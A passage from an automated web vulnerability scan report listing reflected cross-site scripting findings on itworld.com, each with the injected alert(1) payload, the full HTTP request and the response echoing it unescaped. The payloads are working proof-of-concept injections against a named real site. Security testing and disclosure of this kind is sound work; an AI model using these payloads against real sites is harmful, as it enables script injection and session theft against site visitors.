Content-Type: text/html; charset=utf-8
Content-Length: 57682
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:48 GMT
X-Varnish: 1038164475
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/2c228"><script>alert(1)</script>3c8006b1fe0?h"/>
...[SNIP]...

1.242. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b67b"-alert(1)-"de4b86f0c6f was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/5b67b"-alert(1)-"de4b86f0c6f?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460473"
Content-Type: text/html; charset=utf-8
Content-Length: 57463
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:55 GMT
X-Varnish: 1038164801
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/5b67b"-alert(1)-"de4b86f0c6f";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.243. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1356b"><script>alert(1)</script>2cf150f1db0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all1356b"><script>alert(1)</script>2cf150f1db0/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57834
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:31 GMT
X-Varnish: 252446274
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all1356b"><script>alert(1)</script>2cf150f1db0/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h"/>
...[SNIP]...

1.244. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c779b"-alert(1)-"d1b3381df85 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/allc779b"-alert(1)-"d1b3381df85/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460156"
Content-Type: text/html; charset=utf-8
Content-Length: 57614
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:50 GMT
X-Varnish: 252446422
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/allc779b"-alert(1)-"d1b3381df85/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We c
...[SNIP]...

1.245. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f426"><script>alert(1)</script>c7541aab039 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules8f426"><script>alert(1)</script>c7541aab039/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460209"
Content-Type: text/html; charset=utf-8
Content-Length: 57840
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:31 GMT
X-Varnish: 252447411
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules8f426"><script>alert(1)</script>c7541aab039/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h"/>
...[SNIP]...

1.246. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54b86"-alert(1)-"49246a7d847 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules54b86"-alert(1)-"49246a7d847/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460225"
Content-Type: text/html; charset=utf-8
Content-Length: 57619
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:49 GMT
X-Varnish: 252447917
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules54b86"-alert(1)-"49246a7d847/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.247. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52fa6"-alert(1)-"60416dd154a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui52fa6"-alert(1)-"60416dd154a/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460320"
Content-Type: text/html; charset=utf-8
Content-Length: 57619
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:21 GMT
X-Varnish: 1038160191
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui52fa6"-alert(1)-"60416dd154a/jquery.ui/ui/ui.resizable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.248. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4917c"-alert(1)-"fa4f1695747 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui4917c"-alert(1)-"fa4f1695747/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460348"
Content-Type: text/html; charset=utf-8
Content-Length: 57618
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:50 GMT
X-Varnish: 1038161118
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui4917c"-alert(1)-"fa4f1695747/ui/ui.resizable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.249. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6cc6c"><script>alert(1)</script>797314f130e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui6cc6c"><script>alert(1)</script>797314f130e/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460334"
Content-Type: text/html; charset=utf-8
Content-Length: 57840
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:38 GMT
X-Varnish: 1038160669
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui6cc6c"><script>alert(1)</script>797314f130e/ui/ui.resizable.js?h"/>
...[SNIP]...

1.250. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce7ea"><script>alert(1)</script>43f7ca49917 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/uice7ea"><script>alert(1)</script>43f7ca49917/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:12 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460372"
Content-Type: text/html; charset=utf-8
Content-Length: 57839
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:13 GMT
X-Varnish: 1038161818
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/uice7ea"><script>alert(1)</script>43f7ca49917/ui.resizable.js?h"/>
...[SNIP]...

1.251. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50b22"-alert(1)-"be79c38e577 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui50b22"-alert(1)-"be79c38e577/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460380"
Content-Type: text/html; charset=utf-8
Content-Length: 57620
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:21 GMT
X-Varnish: 1038162028
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui50b22"-alert(1)-"be79c38e577/ui.resizable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";

...[SNIP]...

1.252. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70d73"-alert(1)-"e9482c0d27b was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/70d73"-alert(1)-"e9482c0d27b?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460400"
Content-Type: text/html; charset=utf-8
Content-Length: 57469
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:41 GMT
X-Varnish: 1038162489
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/70d73"-alert(1)-"e9482c0d27b";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.253. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a76e"><script>alert(1)</script>2540f77ede3 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/8a76e"><script>alert(1)</script>2540f77ede3?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
